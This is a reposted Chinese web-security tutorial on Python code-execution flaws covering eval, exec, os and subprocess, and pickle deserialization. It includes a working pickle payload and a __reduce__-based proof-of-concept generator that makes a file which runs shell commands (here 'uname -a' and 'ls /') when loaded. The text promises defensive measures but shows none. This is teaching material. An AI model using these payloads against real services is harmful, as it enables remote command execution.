風炫安全web安全學習第三十二節課 Python代碼執行以及代碼防御措施
Python 語言可能發生的命令執行漏洞
- 內置危險函式
eval和exec函式
eval
eval是一個python內置函式,語法為eval(expression, globals=None,locals=None)
eval函式接收三個引數:其中 expression
引數是用做運算的字串型別運算式;globals引數用于指定運行時的全域命名空間;Locals引數用于指定運行時的區域命名空間,globals與 locals 是可選引數,默認值是 None,他們只在運算時起作用,運算后則銷毀,
exec
在Python2中exec是一個內置陳述句(statement)而不是一個函式,但是到了Python3中exec將Python2中作為內置陳述句的exec和execfile()函式功能整合到一起,成為了一個新的函式,語法為exec(object[, globals[,locals]])
exec的第一個引數可以是code object,因此它可以執行復雜的代碼邏輯,例如變數賦值操作等,這一點是eval做不到的,但exec回傳值永遠為 None,因此exec不能像eval一樣將計算結果回傳,exec的后兩個引數與eval一致
-
標準庫危險模塊
os subprocess -
反序列化:
pickle和cpickle
pickle.loads
>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0
import cPickle
import os
import urllib
class genpoc(object):
def __reduce__(self):
s = """ls /""" #要執行的命令
return os.system, (s,) #os.system("echo test >poc.txt")
e = genpoc()
poc = cPickle.dumps(e)
print poc
print urllib.quote(poc)
fp = open("poc.pickle","w")
fp.write(poc) # 生成 pickle檔案
-----------------------
import pickle
pickle.load(open('./poc.pickle'))
參考:
http://blog.evalshell.com/2020/12/20/風炫安全web安全學習第三十二節課-python代碼執行以及代/
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/246762.html
標籤:其他
